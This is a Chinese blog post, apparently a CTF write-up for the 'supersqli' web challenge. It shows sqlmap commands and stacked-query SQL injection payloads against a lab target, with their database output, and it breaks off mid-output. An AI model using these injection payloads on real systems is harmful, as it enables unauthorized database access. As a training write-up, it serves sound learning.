攻防世界web解题[进阶](二)

本文介绍了在攻防世界中的几个Web安全挑战,包括supersqli的SQL注入解题过程,使用sqlmap和手工注入获取数据库信息,以及ics-06的任意文件读取漏洞利用,通过BurpSuite进行爆破获取flag。同时,讨论了warmup题目的文件读取漏洞,分析了绕过过滤的策略。
摘要由CSDN通过智能技术生成


介绍:记录解题过程

5.supersqli

题目描述:随便注

sqlmap爆破(sql注入)

  • <1>.sqlmap爆当前数据库信息
python sqlmap.py -u "http://111.200.241.244:49359/?inject=1" --current-db
[16:37:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.11, Nginx 1.16.1
back-end DBMS: MySQL 5 (MariaDB fork)
[16:37:04] [INFO] fetching current database
[16:37:04] [INFO] resumed: supersqli
current database: 'supersqli'
  • 得到数据库名supersqli
  • <2>.sqlmap.列出指定数据库所有的表名
python sqlmap.py -u "http://111.200.241.244:49359/?inject=1" -D supersqli --tables
  • 发现sqlmap爆不出表名
  • 查看源码,看到了这句话,额…sqlmap看来用不了了,那只能手工注入了
<!-- sqlmap是没有灵魂的 -->

手工注入

/?inject=2-1 的结果与 /?inject=2相同,说明不存在数字型注入
尝试 /?inject=2' 发现页面回显如下,说明存在字符型注入

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''2''' at line 1
  • 尝试了各种注入都不行,用堆叠注入可以:

<1>.查看数据库名:

/?inject=1';show databases;#
  • 回显
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

<2>. 查看表名

1';show tables;#
array(1) {
  [0]=>
  string(5) "words"
}

array(1) {
  [
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值